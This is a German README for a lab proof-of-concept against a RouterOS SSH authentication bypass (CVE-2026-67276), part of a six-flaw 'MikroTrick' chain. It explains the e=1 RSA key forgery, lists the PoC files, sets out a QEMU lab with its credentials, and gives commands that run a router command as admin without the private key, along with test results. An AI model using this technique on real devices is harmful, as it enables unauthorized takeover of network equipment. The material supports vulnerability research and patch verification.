MikroTrick-Lab-PoC — CVE-2026-67276 (RouterOS SSH-Public-Key-Auth-Bypass)

Nur für den Laboreinsatz. Ausschließlich gegen RouterOS-Instanzen ausführen, die dir gehören. Angriffe auf Geräte, die dir nicht gehören, sind eine Straftat (CFAA, poln. Art. 267, entsprechende Gesetze).

Hintergrund

CERT PL (2026-09-05) hat sechs RouterOS-Schwachstellen offengelegt, die aktiv in freier Wildbahn als Kette „MikroTrick" ausgenutzt werden (vollständige Geräteübernahme ohne Authentifizierung, wenn SSH aus dem Internet erreichbar ist). Von MikroTik am 2026-09-03 in 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21 behoben.

CVE	Typ	Kernfehler
2026-67276	CWE-347 (dieses PoC)	SSH-Userauth-Key-Match prüft (Schlüsseltyp, Modulus), lässt aber den Exponenten aus; die Signaturprüfung verwendet den client-gelieferten Schlüssel ⇒ e=1-Fälschung
2026-86060	CWE-88	Argument-Injection über Benutzernamen, der mit einem verbotenen Zeichen beginnt (`-2` in Angriffslogs gesehen) ⇒ Policy-Mask-Änderung ⇒ Privilegieneskalation
2026-67279	CWE-841	SSH tritt nach client-angefordertem Rekey ohne abgeschlossenes Userauth in das Verbindungsprotokoll ein ⇒ nicht authentifizierte Ausführung im Datei-Namespace
2026-67277	CWE-306	bandwidth-test Pre-Auth-Zustand + Offenlegung nicht initialisierter Puffer + Size-Underflow ⇒ Kernel-Speicherleck / Neustart
2026-67278	CWE-347	X.509 akzeptiert fehlerhafte RSA/PKCS#1v1.5-Signaturen; e=3-Vertrauensanker ⇒ Fälschung vertrauenswürdiger Zwischenzertifikate
2026-67281	CWE-824	WebFig `/jsproxy` veralteter nicht initialisierter Principal-Zeiger + Pfad-Escape ⇒ Root-Dateilesen

Verwundbare Bereiche (alle sechs): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).

Mechanismus von CVE-2026-67276

RouterOS gleicht den präsentierten SSH-Public-Key-Blob mit dem autorisierten Schlüssel des Benutzers anhand von (Schlüsseltyp, Modulus) ab — der Exponent wird nicht verglichen.
Die Signaturprüfung verwendet den client-gelieferten Schlüssel, d. h. den Exponenten aus dem Blob des Angreifers.
Die Präsentation von {ssh-rsa, e=1, n=Opfer} macht sig^1 mod n == sig, sodass die gültige „Signatur" einfach EMSA-PKCS1-v1_5(hash, authdata) ist — von jedem berechenbar, der den öffentlichen Modulus des Opfers kennt. Kein privater Schlüssel nötig.
Ergebnis: ein SSH-Befehlskanal als Zielbenutzer.

Voraussetzungen (das eigene Minimum der Offenlegung): Zielbenutzername + der autorisierte RSA-Public-Modulus dieses Benutzers.

Mindestinformationen zur Reproduktion

Ziel: jedes RouterOS in den verwundbaren Bereichen, SSH erreichbar (Labor: CHR-Image in QEMU mit KVM; echte Hardware gleichwertig).
Benutzername eines Kontos mit autorisiertem RSA-Schlüssel.
Der RSA-Modulus n dieses autorisierten Schlüssels (aus einem geleakten/erfassten .pub, Provisionierungsaufzeichnungen oder --modulus-hex). Dies ist die einzige geheimnisnahe Eingabe; der private Schlüssel wird nie benötigt.
Durch die Offenlegung bestätigtes Serververhalten (der Defekt selbst, von CERT PL): Match = (Typ, n), Verify-Exponent = client-geliefert.
Ein Client, der einen beliebigen Schlüssel-Blob und beliebige Signaturbytes präsentieren kann (paramiko + ForgeKey-Hook — Standard-OpenSSH kann das nicht).
Signaturalgorithmus, den der Server akzeptiert (ssh-rsa auf 6.x, rsa-sha2-256 auch auf 7.x).

Dateien

forge_67276.py — Primitive: OpenSSH-Pubkey-Parsing, RFC-8017-EMSA-Encoder, Builder für gefälschte Blobs/Signaturen, Referenz-RFC-8017-Verifier.
selftest.py — lokaler Beweis, kein Router: Encoder byte-identisch zu OpenSSL (über Real-Signatur-Inversion), gefälschte Signatur verifiziert bei e=1 und NICHT bei 65537, vollständige RFC-4252-§7-Wire-Shape-Simulation. Alle 15 Prüfungen BESTANDEN.
poc_67276.py — paramiko-Client, der den Bypass durchführt (Algorithmus-Pinning pro Verbindung; --lab-i-own-this-target erforderlich).
console_setup.py — einmalige CHR-Vorbereitung über QEMU-Serial-Telnet (Opfer-Schlüssel über 10.0.2.2 holen, für admin importieren, ssh aktivieren).
sanity_real_key.py — Kontrolle: normale Pubkey-Auth muss zuerst erfolgreich sein.
victim_rsa / victim.pub — generiertes Wegwerf-2048-Bit-„Opfer"-Schlüsselpaar; bewusst von Git ausgeschlossen.

Lokale Einrichtung

python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa

Labor (bereitgestellt auf [email protected])

Kali x86_64, QEMU 11.0.1 + KVM, /root/mikrotrick-lab/, Host-Bridge br0 (192.168.100.1/24) mit Taps tap0-tap3; dnsmasq auf br0 mit Leases pro MAC.

VM	Image	Gast-IP	MAC	Mac-seitiger Tunnel
chr-6.49.20	verwundbares 6.x	192.168.100.11	52:54:00:aa:00:11	127.0.0.1:2222
chr-6.49.21	gepatchtes 6.x	192.168.100.12	52:54:00:aa:00:12	127.0.0.1:2223
chr-7.23.3	verwundbares 7.x	192.168.100.13	52:54:00:aa:00:13	127.0.0.1:2224
chr-7.23.4	gepatchtes 7.x	192.168.100.14	52:54:00:aa:00:14	127.0.0.1:2225

Beabsichtigter Gastzustand: e1000-NIC, statische Gast-IP, Admin-Passwort labpass123 und Opfer-Schlüssel für admin importiert. Erzwungene Passwortänderungen beim ersten Login wurden über SSH (bootstrap_password.py liest den Dialog) oder den QEMU-Monitor sendkey (mon_type.py) durchgeführt — CHRs serielle Konsole ist standardmäßig tot; die VGA-Konsole ist nur über Monitor screendump lesbar.
Tunnel vom Mac: ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]

Erneut ausführen (Beispiel, VM3):

qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
  -drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
  -netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
  -device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
  -display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &

./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin   # Baseline
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
    --username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
    --exp-enc aligned --exec '/system resource print' --lab-i-own-this-target

Beobachtete Ergebnisse (2026-09-06 unabhängige Revalidierung)

Ziel	echter privater Schlüssel (Baseline)	gefälschter e=1-Schlüssel (PoC)
7.23.3	Auth OK	Auth OK + `/system resource print`-Ausführung — CVE bestätigt
7.23.4 (gepatcht)	Auth OK	abgelehnt
6.49.20	Auth OK	abgelehnt (siehe Nuance)
6.49.21 (gepatcht)	ungültige Baseline	nicht interpretierbar; Gast akzeptierte SSH-`none`-Auth

Für das 7.x-Paar gelingt die Real-Key-Baseline auf beiden Builds, SSH-none-Authentifizierung wird abgelehnt, eine Fälschung mit falschem Modulus wird von 7.23.3 abgelehnt, und die Fälschung mit korrektem Modulus gelingt nur auf 7.23.3. Dies ist ein gültiger Vergleich verwundbar versus gepatcht.

Der 6.49.21-Gast wurde während der unabhängigen Revalidierung nicht wie dokumentiert bereitgestellt: admin blieb abgelaufen, /user ssh-keys print detail war leer, und eine SSH-none-Anfrage ohne Anmeldedaten führte Befehle aus. Nicht verwandte echte RSA-Schlüssel und e=1-Schlüssel mit falschem Modulus schienen daher ebenfalls erfolgreich zu sein. Diesen Gast neu bereitstellen und verifizieren, dass none und ein nicht verwandter Schlüssel abgelehnt werden, bevor er als gepatchte Kontrolle verwendet wird.

mikrotrick-poc

Beliebteste